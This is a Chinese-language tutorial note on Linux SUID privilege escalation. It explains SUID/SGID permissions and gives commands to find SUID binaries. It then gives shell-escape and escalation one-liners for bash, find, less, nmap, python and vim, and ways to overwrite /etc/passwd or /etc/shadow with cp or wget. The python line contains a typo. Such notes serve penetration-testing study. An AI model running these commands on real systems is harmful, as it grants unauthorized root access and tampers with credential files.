SUID提权

SUID介绍

1
2
3
4
SUID(set user id)是一种特殊权限,设置了suid的程序文件
在用户执行该程序时,用户的权限是该程序文件属主的权限
例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限
SGID(set group id)与SUID相似,只是执行程序时获得的是文件属组的权限
1
2
3
4
1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
2.命令执行者要对该程序文件拥有x权限
3.命令执行者在执行该程序时获得该程序文件属主的身份
4.SUID权限只在程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
1
2
3
4
5
设置suid权限:
chmod u+s 文件名

删除suid权限:
chmod u-s 文件名

搜索具有SUID权限的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};

/ 表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s 表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
> 表示重定向
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

SUID提权命令

1
2
3
4
5
6
7
8
9
awk
bash
cp
find
less
more
nano
nmap
vim

bash命令提权

进入bash的shell

1
bash -p

输入命令

1
whoami

cp命令提权

1
2
将/etc/shadow或/etc/passwd文件覆盖
使得管理员用户的密码被覆盖

find命令提权

find命令存在一个参数exec可执行其他的系统命令,且为root权限

exec需要一个分号;作为结尾

1
find路径 文件名 -exec 命令 \;

more/less命令提权

1
less /etc/passwd

进入shell

1
!/bin/sh

nmap命令提权

条件:

1
2.02< nmap <5.21

进入交互模式

1
nmap --interactive

执行命令

1
whoami

python命令提权

1
python -c "importos;os.system('/bin/bash')

vi/vim命令提权

方式一

打开交互式shell

1
vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'

方式二

1
vim.tiny /etc/shadow

按下ESC

1
2
:set shell=/bin/sh  回车
:shell

wget命令提权

1
wget 路径 -O /etc/passwd